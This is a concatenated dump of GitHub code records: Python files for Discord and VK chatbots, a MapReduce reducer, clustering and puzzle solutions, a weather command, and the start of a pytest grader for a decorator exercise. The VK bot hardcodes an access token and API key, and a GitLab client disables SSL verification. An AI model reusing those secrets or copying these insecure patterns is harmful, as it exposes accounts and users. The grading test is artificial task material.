\"w\").write(dumps(layer_arns))\nprint(layer_arns)\nrmtree(working_dir)","repo_name":"samuel-chai-902/publish-lambda-layer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36182734815","text":"\"\"\" \n Name : Pratibha Singh (pratibhasingh@kgpian.iitkgp.ac.in)\n Roll No : 20CS60R12\n\n File name : reducer.py\n Date : Feb 11, 2021\n Problem Statement : Find the top-10 users (node-ids) with the highest number of friends\n\n\"\"\"\n\n\"\"\" \n This reducer.py will take input from mapper.py output in sorted order which consist of node and its count value as 1. This mapper.py will\n output the top-10 users which are having highest friends with friends count value.\n\"\"\"\n\n# Provides functions and variables which are used to manipulate different parts of the Python Runtime Environment\nimport sys\n\n#initializing all the variables\ncurrent_node_count = 0\ncurrent_node = None\nnode = None\n\n# defining a dictionary to keep top 10 users\ntop_10_user = {}\n# to store key having minimum number of friends among all the dictonary elements\nmin_value_key = 0\nmin_value = 0\n# to keep dictonary size of 10\ncount_10 = 0\n\n\n# taking input coming from standard input (STDIN) i.e mapper.py output\nfor line in sys.stdin:\n # removing leading and trailing whitespace\n line = line.strip()\n\n # parsing the input got from mapper.py\n node, count = line.split('\\t')\n\n # converting count as int\n try:\n count = int(count)\n except ValueError:\n continue\n\n if current_node == node:\n current_node_count = current_node_count + count\n else:\n if current_node:\n \"\"\" \n intial ten nodes are stored in dictonary with their number of friends,\n 11th node onwards, finding the node with min number of friends say it as \n min_value and comparing it with the current node friend count, if the current node \n friend count is greater than the min_value then replacing that key:value pair \n with current node key:value pair\n\n \"\"\" \n if(count_10 < 10):\n top_10_user[current_node] = current_node_count\n count_10 = count_10 + 1\n else:\n min_value_key = min(top_10_user, key=top_10_user.get)\n min_value = top_10_user.get(min_value_key)\n if(min_value < current_node_count):\n top_10_user.pop(min_value_key)\n top_10_user[current_node] = current_node_count\n #print ('%s\\t%s' % (current_word, current_count))\n\n current_node = node\n current_node_count = count\n\n\n# comparing the friend_count_value of the last node with dict values\nif current_node:\n min_value_key = min(top_10_user, key=top_10_user.get)\n min_value = top_10_user.get(min_value_key)\n if(min_value < current_node_count):\n top_10_user.pop(min_value_key)\n top_10_user[current_node] = current_node_count\n #print ('%s\\t%s' % (current_word, current_count))\n\n# sorting the key:value pair in decreasing order of number of total friends\nsorted_top_10_user = {}\nsorted_keys = sorted(top_10_user, key = top_10_user.get, reverse=True) \n\nfor i in sorted_keys:\n sorted_top_10_user[i] = top_10_user[i]\n\n# writing the top-10 user and its total friend count to standard output (STDOUT)\nprint(\"Top 10 Users are\\n\")\nprint(\"User\\t\\tNumber of Friends\")\n\nfor i in sorted_top_10_user:\n print(i, \"\\t\\t\" , sorted_top_10_user[i])\n\n","repo_name":"06ps/Compuing-Lab-II-CS69012","sub_path":"Assignment 6/Code/Query2/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"26883227145","text":"import discord\nfrom discord.ext import commands\nimport random\nimport json\nimport os\n\n\nclass Funny(commands.Cog, name=\"Funny\"):\n def __init__(self, client):\n self.client = client\n self.config = json.load(open(\"config.json\", \"r\"))\n self.quote_role = self.config.get(\"quote_role\")\n self.lookup_dir = os.path.join(os.getcwd(), \"lookup_tables\")\n self.cringe_lookup = self.load_lookup_table(\"cringe.json\")\n self.quote_lookup = self.load_lookup_table(\"quote.json\")\n\n def load_lookup_table(self, filename):\n file_path = os.path.join(self.lookup_dir, filename)\n with open(file_path, \"r\") as f:\n return json.load(f)\n\n def save_lookup_table(self, filename, data):\n file_path = os.path.join(self.lookup_dir, filename)\n with open(file_path, \"w\") as f:\n json.dump(data, f, indent=4)\n\n @commands.slash_command(name=\"quote_add\", description=\"Adds a quote to the quote or cringe lookup table\")\n @commands.has_role(\"Quote Master\")\n async def add_quote(self, ctx,\n quote_type: discord.Option(str, choices=[\"quote\", \"cringe\"], required=True),\n message_id: discord.Option(str)):\n message = await ctx.channel.fetch_message(message_id)\n quote = message.content\n lookup_table = self.quote_lookup if quote_type == \"quote\" else self.cringe_lookup\n items = len(lookup_table)\n lookup_table[str(items + 1)] = quote\n self.save_lookup_table(f\"{quote_type}.json\", lookup_table)\n await ctx.respond(f'\"{quote}\" has been added to the {quote_type} lookup table.', ephemeral=True)\n\n @commands.slash_command(name=\"quote\", description=\"Returns a random quote or cringe\")\n async def quote(self, ctx,\n quote_type: discord.Option(str, choices=[\"quote\", \"cringe\"], required=True)):\n lookup_table = self.quote_lookup if quote_type == \"quote\" else self.cringe_lookup\n items = len(lookup_table)\n num = random.randint(1, items)\n reply = lookup_table.get(str(num))\n embed_title = \"Quote\" if quote_type == \"quote\" else \"Cringe\"\n embed_color = 0x00ff00\n if quote_type == \"cringe\":\n embed_color = 0xff0000\n embed = discord.Embed(title=embed_title, color=embed_color)\n embed.add_field(name=\"Sick As Fuck\" if quote_type == \"quote\" else \"Cringe As Fuck\", value=reply, inline=False)\n await ctx.respond(embed=embed)\n\n @add_quote.error\n async def role_error(self, ctx, error):\n if isinstance(error, commands.MissingRole):\n await ctx.send(\"You must have the 'Quote Master' role to use this command\", ephemeral=True)\n else:\n raise error\n\n\ndef setup(client):\n client.add_cog(Funny(client))\n","repo_name":"DavisThorne/WIAFTM","sub_path":"modules/funny.py","file_name":"funny.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"28172140643","text":"class Person:\n def __init__(self, age, high):\n self.age = age\n self.high = high\n self.iq = 0\n\n\ndef print_person(person):\n print(\"Age: \" + str(person.age) + \". High: \" + str(person.high) + \". IQ: \" + str(person.iq))\n\n\nadi = Person(29, 1.69)\nprint_person(adi)\n\nliron = Person(24.5, 1.70)\nliron.iq = 200\nprint_person(liron)\n","repo_name":"AdiLevReches/PythonTraining","sub_path":"HW1/OOP.py","file_name":"OOP.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29234733747","text":"import gitlab\n\nfrom datetime import datetime\nfrom gitissues import GitIssues\n\n\nclass GitLabIssues(GitIssues):\n\n hosts = ['gitlab.com']\n config_key = 'gitlab'\n\n def __init__(self, repo):\n self.repo = repo\n\n private_token = repo.config.get_value('gitlab', 'token')\n self.gl = gitlab.Gitlab(repo.git_server, private_token, ssl_verify=False)\n #self.gl.enable_debug()\n self.gl.auth()\n\n def get_issues(self):\n issues = []\n project = self.gl.projects.get(self.repo.git_project)\n\n for issue in project.issues.list(state='opened'):\n issues.append({\n 'id': issue.id,\n 'title': issue.title,\n 'author': issue.author.name,\n 'author_email': self.gl.users.get(issue.author.id).email,\n 'created_at': datetime.strptime(issue.created_at, '%Y-%m-%dT%H:%M:%S.%fZ'),\n 'description': issue.description\n })\n\n return issues\n","repo_name":"lucafaggianelli/git-issues","sub_path":"gitlabissues.py","file_name":"gitlabissues.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24402969198","text":"from datetime import datetime\nfrom glob import glob\nfrom asyncio import sleep\n\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\nfrom apscheduler.triggers.cron import CronTrigger\n\nfrom discord import Intents\nfrom discord import Embed, File\nfrom discord.ext.commands import Bot as BotBase\nfrom discord.ext.commands import CommandNotFound\n\nfrom ..db import db\n\nPREFIX = \"+\"\nOWNER_IDS = [728827786051190865]\nCOGS = [path.split(\"\\\\\")[-1][:-3] for path in glob(\"./lib/cogs/*.py\")]\n\nclass Ready(object):\n def __init__(self):\n for cog in COGS:\n setattr(self, cog, False)\n\n def ready_up(self,cog):\n setattr(self, cog, True)\n print(f\" [cog] cog ready\")\n\n def all_ready(self):\n return all([getattr(self, cog) for cog in COGS])\nclass Bot(BotBase):\n def __init__(self):\n self.PREFIX = PREFIX\n self.ready = False\n self.cogs_ready = Ready()\n self.guild = None\n self.scheduler = AsyncIOScheduler()\n\n db.autosave(self.scheduler)\n\n super().__init__(\n command_prefix=PREFIX, \n owner_ids=OWNER_IDS,\n intents=Intents.all(),\n )\n\n def setup(self):\n for cog in COGS:\n self.load_extension(f\"lib.cogs.{cog}\")\n print(f\" {cog} cog loaded\")\n \n print(\"setup complete\")\n\n def run(self, version):\n self.VERSION = version\n\n print(\"running setup...\")\n self.setup()\n\n with open(\"./lib/bot/token.0\", \"r\", encoding=\"utf-8\") as tf:\n self.TOKEN = tf.read()\n \n print(\"running bot...\")\n super().run(self.TOKEN, reconnect=True)\n\n async def quick_checkin(self):\n channel = self.get_channel(779887490814443560)\n await self.stdout.send(\"Ping! Just checking in to see how you're doing - are you in the zone? If so, carry on! If you\\'re feeling stuck, check in with your teammates or reach out a mentor. We've got you!\")\n\n async def on_connect(self):\n print(\"bot connected\")\n\n async def on_disconnect(self):\n print(\"bot disconnected\")\n\n async def on_error(self, err, *args, **kwargs):\n if err == \"on_command_error\":\n await args[0].send(\"something went wrong\")\n\n channel = self.get_channel(779887490814443560)\n await self.stdout.send(\"an error occurred\")\n \n raise\n\n async def on_command_error(self, ctx, exc):\n if isinstance(exc, CommandNotFound):\n await ctx.send(\"wrong command sent\")\n\n else:\n raise exc.original\n\n async def on_ready(self):\n if not self.ready:\n self.ready = True\n self.guild = self.get_guild(779824317407559711)\n self.stdout = self.get_channel(779887490814443560)\n self.scheduler.add_job(self.quick_checkin, CronTrigger(second=\"0\")) # CronTrigger(day_of_week=... hour=/minute=/second=)\n self.scheduler.start()\n\n channel = self.get_channel(779887490814443560)\n # await channel.send(\"It's a good day to help hackathon life go right!\")\n\n embed = Embed(\n title=\"It's a good day to help hackathon life go right!\", \n description=\"Hello world! So wonderful to have you join me and other hackathoners today. My name is SATT Bot - that's short for Seat at the Table. I'll be the first to bring you a chair because I believe we all deserve a seat at the table.\",\n colour=0xFF7F50,\n timestamp=datetime.utcnow()\n )\n\n embed.set_author(name=\"Seat at the Table\", icon_url=self.guild.icon_url) \n embed.set_footer(text=\"You have perspectives and visions to offer the world of technology. So go ahead, take a seat at the table. We welcome you!\")\n embed.set_thumbnail(url=self.guild.icon_url)\n embed.set_image(url=self.guild.icon_url)\n await channel.send(embed=embed)\n \n while not self.cogs_ready.all_ready():\n await sleep(0.5)\n\n self.ready = True\n print(\"bot ready\")\n\n # await channel.send(file=File(\"[path]\"))\n\n else:\n print(\"bot reconnected\")\n\n async def on_message(self, message):\n pass\n\nbot = Bot()","repo_name":"ceruleanox/seat-at-the-table","sub_path":"lib/bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29035149264","text":"import apiai\nimport json\nimport vk_api\nimport time\nimport random\n\n# def send_message(message):\n# request = apiai.ApiAI(\"3d1433a96dfb415193456ebc0c61713c\").text_request()\n# request.lang = \"en\"\n# request.session_id = \"session_1\"\n# request.query = message\n# response = json.loads(request.getresponse().read().decode('utf-8'))\n# print(response['result']['fulfillment']['speech'])\n# return response['result']['action']\n#\n#\n# print('Input your message or type exit: ')\n# message = input()\n# while True:\n# send_message(message)\n# message = input()\n\n# --------------------------------------------------------------------------\n\ntoken = \"5b86f731421492463e1781a18de370ec6622d87db285da0aa314d1815c2914516d6b5e349880671ba54a5\"\n\nvk = vk_api.VkApi(token=token)\n\nvk._auth_token()\n\nwhile True:\n try:\n request = apiai.ApiAI(\"3d1433a96dfb415193456ebc0c61713c\").text_request()\n request.lang = \"en\"\n request.session_id = \"session_1\"\n messages = vk.method(\"messages.getConversations\", {\"offset\": 0, \"count\": 20, \"filter\": \"unanswered\"})\n if messages[\"count\"] >= 1:\n id = messages[\"items\"][0][\"last_message\"][\"from_id\"]\n body = messages[\"items\"][0][\"last_message\"][\"text\"]\n request.query = body.lower()\n response = json.loads(request.getresponse().read().decode('utf-8'))\n vk.method(\"messages.send\",\n {\"peer_id\": id, \"message\": response['result']['fulfillment']['speech'], \"random_id\": random.randint(1, 2147483647)})\n\n except Exception as E:\n time.sleep(1)","repo_name":"hiki0505/ChatBot","sub_path":"bot_vk_en.py","file_name":"bot_vk_en.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"25459923931","text":"c = 0\nm = 0\np = 0\n\n\ndef darug_stor(order):\n if order == \"cosmetic\":\n global c\n c += 1\n print(f\"c_{c}\")\n\n if order == \"perfumes\":\n global p\n p += 1\n print(f\"p_{p}\")\n if order == \"medicine\":\n global m\n m += 1\n print(f\"m_{m}\")\n\n\ndef message(user):\n return user\n","repo_name":"wubrist/ticket_machine-project","sub_path":"drug_stor.py","file_name":"drug_stor.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12297016942","text":"\"\"\"\n----- Normalized Spectral Clustering -----\nImplementation for the Norm. Spectral Clustering Algorithm, using 'linalg' module\nNote: all functions assume correctness of the input; in particular an input of\n ndarray with type 'float64'\n\"\"\"\nimport numpy as np\nfrom linalg import qr_iteration, eigengap_method\nfrom config import MAX_ITER\nfrom kmeans_pp import kmeans\n\n\ndef form_weight(x):\n \"\"\"\n :param x: an array of n vector from d-dimension; i.e. array of shape (n,d)\n :return: calculates the connection-weight-matrix of x of shape (n,n)\n \"\"\"\n n = x.shape[0]\n\n # form Weight Matrix :\n w = np.zeros((n, n), dtype=np.float32)\n triu1, triu2 = np.triu_indices(n, 1)\n # for each i= node.val:\n self.firstNode = self.preNode\n if self.firstNode and self.preNode.val >= node.val:\n self.secondNode = node\n self.preNode = node\n in_order(node.right)\n\n in_order(root)\n self.firstNode.val, self.secondNode.val = self.secondNode.val, self.firstNode.val\n\n\n\nclass Solution2:\n \"\"\"迭代法中序遍历\"\"\"\n def recoverTree(self, root):\n firstNode = None\n secondNode = None\n pre = TreeNode(float(\"-inf\"))\n\n stack = []\n p = root\n while p or stack:\n while p:\n stack.append(p)\n p = p.left\n p = stack.pop()\n\n if not firstNode and pre.val > p.val:\n firstNode = pre\n if firstNode and pre.val > p.val:\n secondNode = p\n pre = p\n p = p.right\n firstNode.val, secondNode.val = secondNode.val, firstNode.val\n\n","repo_name":"lidianxiang/leetcode_in_python","sub_path":"树/99-恢复二叉搜索树.py","file_name":"99-恢复二叉搜索树.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"5467674527","text":"from math import gcd\n\nfile = open(\"day12/input.txt\", \"r\")\ncontents = file.readlines()\n\n\ndef check_valid(index, grid):\n x = index[1]\n y = index[0]\n\n if x < 0 or y < 0:\n return False\n\n if y >= len(grid) or x >= len(grid[0]):\n return False\n\n return True\n\n\ndef get_neigbours(index, grid):\n x = index[1]\n y = index[0]\n\n up = (y - 1, x)\n right = (y, x + 1)\n down = (y + 1, x)\n left = (y, x - 1)\n\n neighbors = {up, right, down, left}\n valid_neighbors = []\n if grid[y][x] == \"S\":\n place_value = ord(\"a\")\n elif grid[y][x] == \"E\":\n place_value = ord(\"z\")\n else:\n place_value = ord(grid[y][x])\n\n for n in neighbors:\n n_x = n[1]\n n_y = n[0]\n\n if check_valid(n, grid):\n if grid[n_y][n_x] == \"S\":\n n_value = ord(\"a\")\n elif grid[n_y][n_x] == \"E\":\n n_value = ord(\"z\")\n else:\n n_value = ord(grid[n_y][n_x])\n\n if n_value <= place_value or n_value == place_value + 1:\n valid_neighbors.append(n)\n\n return valid_neighbors\n\n\ndef traverse_path(grid, index, path, route):\n if len(route) >= 1 and len(path) > len(route[0]):\n return\n\n path.append(index)\n\n y = index[0]\n x = index[1]\n if grid[y][x] == \"E\":\n route.append(path.copy())\n route.sort(key=len)\n print(\"Reached\")\n path.pop()\n return\n\n neighbors = get_neigbours(index, grid)\n for n in neighbors:\n if n not in path:\n traverse_path(grid, n, path, route)\n\n path.pop()\n return\n\n\ndynamo = {}\n\n\ndef bfs(grid, start, end):\n if start in dynamo.keys():\n return dynamo[start]\n queue = [[start, [start]]]\n final_path = []\n visited = []\n counter = 0\n while queue:\n visit = queue.pop(0)\n node = visit[0]\n path = visit[1].copy()\n path.append(node)\n\n if node in visited:\n continue\n if node == end:\n final_path = path.copy()\n break\n\n neighbours = get_neigbours(node, grid)\n for n in neighbours:\n queue.append([n, path.copy()])\n\n counter += 1\n visited.append(node)\n\n #print(len(dynamo.keys()))\n dynamo[start] = len(final_path)\n if len(final_path) == 0:\n return -1\n else:\n return len(final_path)\n\n\n\ndef part1():\n grid = []\n for i in range(len(contents)):\n line = [*contents[i].strip()]\n grid.append(line)\n\n start = []\n end = []\n for y in range(len(grid)):\n for x in range(len(grid[0])):\n if grid[y][x] == 'S':\n start = (y, x)\n\n for y in range(len(grid)):\n for x in range(len(grid[0])):\n if grid[y][x] == 'E':\n end = (y, x)\n\n final_path = bfs(grid, start, end)\n\n print(len(final_path) - 2)\n print(final_path)\n\n\n# BFS(graph, start_node, end_node):\n# frontier = new\n# Queue()\n# frontier.enqueue(start_node)\n# explored = new\n# Set()\n#\n# while frontier is not empty:\n# current_node = frontier.dequeue()\n# if current_node in explored: continue\n# if current_node == end_node: return success\n#\n# for neighbor in graph.get_neigbhors(current_node):\n# frontier.enqueue(neighbor)\n# explored.add(current_node)\n\n\ndef part2():\n grid = []\n for i in range(len(contents)):\n line = [*contents[i].strip()]\n grid.append(line)\n\n starts = []\n end = []\n for y in range(len(grid)):\n for x in range(len(grid[0])):\n if grid[y][x] == 'S' or grid[y][x] == \"a\":\n starts.append((y, x))\n\n for y in range(len(grid)):\n for x in range(len(grid[0])):\n if grid[y][x] == 'E':\n end = (y, x)\n\n final_path = bfs(grid, starts[0], end)\n print(starts)\n print(final_path)\n for s in starts:\n b = bfs(grid, s, end)\n if b < final_path and b != -1:\n final_path = b\n print(final_path)\n\n print(final_path - 2)\n\npart1()\npart2()\n","repo_name":"JayGee0/adventofcode2022","sub_path":"day12/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"21918773026","text":"def solution(A):\n # write your code in Python 3.6\n A.sort()\n pi = 0\n for i in range(len(A)):\n if A[i] > 0:\n pi = i\n break\n max_p1 = A[-1] * A[-2] * A[-3]\n if pi >= 2:\n max_c = A[0] * A[1] * A[-1]\n max_p1 = max(max_p1, max_c)\n\n return max_p1\n\n\n\nprint(solution([-10, -25, 8, 3, 2, 5]))","repo_name":"StingHuang/Python_Practices","sub_path":"Codility/L6_MaxProductOfThree.py","file_name":"L6_MaxProductOfThree.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39725386806","text":"input = raw_input()\nsplits = input.split(\" \")\nlight1 = int(splits[0])\nlight2 = int(splits[1])\ntime = int(splits[2])\nnewlight1 = light1\nnewlight2 = light2\nlight1s = []\nno = True\nwhile(light1 <= time):\n light1s.append(light1)\n light1 += newlight1\nwhile(light2 <= time):\n if(light2 in light1s):\n print(\"yes\")\n no = False\n break\n light2 += newlight2\nif(no):\n print(\"no\")","repo_name":"thoma55s/KattisSolutions","sub_path":"Das Blinkenlights.py","file_name":"Das Blinkenlights.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5966268714","text":"import csv\nimport datetime\n\n# Read the Excel file\ndef get_name(data,type):\n notuse='\\\\/:*?\"<>|'\n time1=data\n filepath='./getname/table/'+time1+'/'+time1+'_'+str(type)+'.csv'\n # print(filepath)\n columns=[]\n with open(filepath, 'r',encoding='gbk') as f:\n reader = csv.reader(f)\n # Get the second row of the table\n row = next(reader)\n for row in reader:\n # Get the second column of the row\n try:\n column = row[1]\n flag=0\n for i in notuse:\n if i in column:\n flag=1\n # print(column)\n if flag==0:\n columns.append(column)\n except:\n pass\n return columns","repo_name":"CookedMelon/GPT2BaiDuWriter","sub_path":"getname/get_article_name.py","file_name":"get_article_name.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"37872746144","text":"# -*- coding: utf-8 -*-\n\nimport datetime, json, time\n\nimport requests\n\nfrom commands.CommandTemplate import CommandTemplate\nfrom IrcMessage import IrcMessage\nimport Constants, GlobalStore\nfrom util import IrcFormattingUtil\n\n\nclass Command(CommandTemplate):\n\ttriggers = ['weather', 'forecast']\n\thelptext = \"Gets the weather or the forecast for the provided location\"\n\n\tdef execute(self, message):\n\t\t\"\"\"\n\t\t:type message: IrcMessage\n\t\t\"\"\"\n\n\t\treplytext = \"\"\n\t\tapiKey = GlobalStore.commandhandler.getApiKey('openweathermap')\n\t\tif not apiKey:\n\t\t\treplytext = \"No API key for OpenWeatherMap found, please tell my owner so they can fix this\"\n\t\telif message.messagePartsLength == 0:\n\t\t\treplytext = \"Please enter the name of a city\"\n\t\telse:\n\t\t\tparams = {\"APPID\": apiKey, \"q\": message.message, \"units\": \"metric\"}\n\t\t\trequestType = 'weather'\n\t\t\tif message.trigger == 'forecast':\n\t\t\t\trequestType = 'forecast/daily'\n\t\t\t\tparams['cnt'] = 4 #Number of days to get forecast for\n\t\t\ttry:\n\t\t\t\treq = requests.get(\"http://api.openweathermap.org/data/2.5/\" + requestType, params=params, timeout=5.0)\n\t\t\t\tdata = json.loads(req.text)\n\t\t\texcept requests.exceptions.Timeout:\n\t\t\t\treplytext = \"Sorry, the weather API took too long to respond. Please try again in a little while\"\n\t\t\texcept ValueError:\n\t\t\t\treplytext = \"Sorry, I couldn't retrieve that data. Try again in a little while, maybe it'll work then\"\n\t\t\t\tself.logError(\"[weather] JSON load error. Data received:\")\n\t\t\t\tself.logError(req.text)\n\t\t\telse:\n\t\t\t\tif data['cod'] != 200 and data['cod'] != \"200\":\n\t\t\t\t\tif data['cod'] == 404 or data['cod'] == '404':\n\t\t\t\t\t\treplytext = \"I'm sorry, I don't know where that is\"\n\t\t\t\t\telse:\n\t\t\t\t\t\treplytext = \"An error occurred, please tell my owner to look at the debug output, or try again in a little while ({}: {})\".format(data['cod'], data['message'])\n\t\t\t\t\t\tself.logError(\"[weather] ERROR in API lookup:\")\n\t\t\t\t\t\tself.logError(data)\n\t\t\t\telse:\n\t\t\t\t\t#We've got data! Parse it\n\t\t\t\t\tdef getWindDirection(angle):\n\t\t\t\t\t\t#The highest wind angle where the direction applies\n\t\t\t\t\t\twindDirectionTranslation = {11.25: 'N', 33.75: 'NNE', 56.25: 'NE', 78.75: 'ENE', 101.25: 'E', 123.75: 'ESE',\n\t\t\t\t\t\t\t\t\t\t\t\t\t146.25: 'SE', 168.75: 'SSE', 191.25: 'S', 213.75: 'SSW', 236.25: 'SW',\n\t\t\t\t\t\t\t\t\t\t\t\t\t258.75: 'WSW', 281.25: 'W', 303.75: 'WNW', 326.25: 'NW', 348.75: 'NNW', 360.0: 'N'}\n\t\t\t\t\t\twindDirection = 'N'\n\t\t\t\t\t\tfor maxDegrees in sorted(windDirectionTranslation.keys()):\n\t\t\t\t\t\t\tif angle < maxDegrees:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\twindDirection = windDirectionTranslation[maxDegrees]\n\t\t\t\t\t\treturn windDirection\n\n\t\t\t\t\tdef celsiusToFahrenheit(celsius):\n\t\t\t\t\t\treturn (celsius * 9 / 5) + 32\n\n\t\t\t\t\tif message.trigger == 'weather':\n\t\t\t\t\t\tdataAge = round((time.time() - data['dt']) / 60)\n\t\t\t\t\t\tif dataAge <= 0:\n\t\t\t\t\t\t\tdataAgeDisplay = \"brand new\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tdataAgeDisplay = \"{dataAge:.0f} minute\"\n\t\t\t\t\t\t\tif dataAge > 1:\n\t\t\t\t\t\t\t\tdataAgeDisplay += \"s\"\n\t\t\t\t\t\t\tdataAgeDisplay += \" old\"\n\t\t\t\t\t\t\tdataAgeDisplay = dataAgeDisplay.format(dataAge=dataAge)\n\n\t\t\t\t\t\twindString = \"{:.1f} m/s\".format(data['wind']['speed'])\n\t\t\t\t\t\t#Only add a wind direction if we know it\n\t\t\t\t\t\tif 'deg' in data['wind']:\n\t\t\t\t\t\t\twindString += \", \" + getWindDirection(data['wind']['deg'])\n\n\t\t\t\t\t\t#Not all replies include a placename or a countryname\n\t\t\t\t\t\tplacename = data['name'] if 'name' in data and len(data['name']) > 0 else None\n\t\t\t\t\t\tcountryname = data['sys']['country'] if 'sys' in data and 'country' in data['sys'] and len(data['sys']['country']) > 0 else None\n\t\t\t\t\t\tif placename and countryname:\n\t\t\t\t\t\t\treplytext = \"{} ({})\".format(placename, countryname)\n\t\t\t\t\t\telif placename:\n\t\t\t\t\t\t\treplytext = \"{}\".format(placename)\n\t\t\t\t\t\telif countryname:\n\t\t\t\t\t\t\treplytext = \"Somewhere in {}\".format(countryname)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\treplytext = \"Somewhere unknown\"\n\n\t\t\t\t\t\t#Add the actual weather info\n\t\t\t\t\t\treplytext += \": {tempC:.1f}°C / {tempF:.1f}°F, {weatherType}. Wind: {windString}. Humidity of {humidity}% (Data is {dataAge})\"\n\t\t\t\t\t\treplytext = replytext.format(tempC=data['main']['temp'], tempF=celsiusToFahrenheit(data['main']['temp']), weatherType=data['weather'][0]['description'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t windString=windString, humidity=data['main']['humidity'], dataAge=dataAgeDisplay)\n\n\t\t\t\t\telse:\n\t\t\t\t\t\t#Forecast\n\t\t\t\t\t\tplacename = data['city']['name'] if 'city' in data and 'name' in data['city'] and len(data['city']['name']) > 0 else None\n\t\t\t\t\t\tcountryname = data['city']['country'] if 'city' in data and 'country' in data['city'] and len(data['city']['country']) > 0 else None\n\t\t\t\t\t\treplytext = \"Forecast for \"\n\t\t\t\t\t\tif placename and countryname:\n\t\t\t\t\t\t\treplytext += \"{} ({})\".format(placename, countryname)\n\t\t\t\t\t\telif placename:\n\t\t\t\t\t\t\treplytext += placename\n\t\t\t\t\t\telif countryname:\n\t\t\t\t\t\t\treplytext += countryname\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\treplytext += \"somewhere unknown\"\n\t\t\t\t\t\treplytext += \": \"\n\n\t\t\t\t\t\tforecasts = []\n\t\t\t\t\t\tfor day in data['list']:\n\t\t\t\t\t\t\tdayname = datetime.datetime.utcfromtimestamp(day['dt']).strftime(\"%a\").upper()\n\n\t\t\t\t\t\t\tforecast = \"{dayname}: {minTempC:.0f}-{maxTempC:.0f}°C / {minTempF:.0f}-{maxTempF:.0f}°F, {weatherType}, {humidity}% hum., {windSpeed:.0f}m/s {windDir} wind\"\n\t\t\t\t\t\t\tforecast = forecast.format(dayname=IrcFormattingUtil.makeTextBold(dayname), minTempC=day['temp']['min'], maxTempC=day['temp']['max'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t minTempF=celsiusToFahrenheit(day['temp']['min']), maxTempF=celsiusToFahrenheit(day['temp']['max']),\n\t\t\t\t\t\t\t\t\t\t\t\t\t humidity=day['humidity'], windSpeed=day['speed'], windDir=getWindDirection(day['deg']), weatherType=day['weather'][0]['description'])\n\t\t\t\t\t\t\tforecasts.append(forecast)\n\t\t\t\t\t\treplytext += Constants.GREY_SEPARATOR.join(forecasts)\n\n\t\tmessage.bot.sendMessage(message.source, replytext)\n","repo_name":"Didero/DideRobot","sub_path":"commands/Weather.py","file_name":"Weather.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"41181938412","text":"import ast\nimport io\nimport time\nfrom contextlib import redirect_stdout\nfrom pathlib import Path\nfrom random import randint\n\nfrom time_check import time_check\n\n\nclass TestTask3:\n @classmethod\n def setup_class(cls):\n # Проверяем декоратор cache_args из author.py\n # user_code предоставит платформа\n author_path = Path(__file__).parent.joinpath(\"author.py\")\n with open(author_path) as user:\n cls.user_code = user.read()\n\n ast_user_code = ast.parse(cls.user_code)\n cls.cache_args_node = None\n for module_node in ast_user_code.body:\n if (\n isinstance(module_node, ast.FunctionDef)\n and module_node.name == \"cache_args\"\n ):\n cls.cache_args_node = module_node\n\n # Зададим случайные проверочные данные\n # Список передаваемых в функцию чисел\n cls.random_numerics = []\n\n # Они не должны повторяться\n def recursive_rand():\n rand = randint(0, 100)\n if rand in cls.random_numerics:\n return recursive_rand()\n else:\n return rand\n\n for _ in range(0, 4):\n cls.random_numerics.append(recursive_rand())\n # Случайный множитель\n cls.random_multiplier = randint(0, 100)\n\n def get_source_cache_args(self):\n assert (\n isinstance(self.cache_args_node, ast.FunctionDef)\n ), \"Отсутствует функция cache_args.\"\n assign_count = 0\n function_count = 0\n for decorator_node in self.cache_args_node.body:\n if isinstance(decorator_node, ast.Assign):\n assign_count += 1\n assert (\n assign_count == 1\n ), \"Достаточно одного объявления переменной.\"\n elif isinstance(decorator_node, ast.FunctionDef):\n function_count += 1\n assert (\n function_count == 1\n ), \"Многовато вложенных функций. Можно проще.\"\n self.wrapper_name = decorator_node.name\n elif isinstance(decorator_node, ast.Return):\n pass\n else:\n assert (\n False\n ), \"Сложный декоратор. Можно упростить.\"\n\n 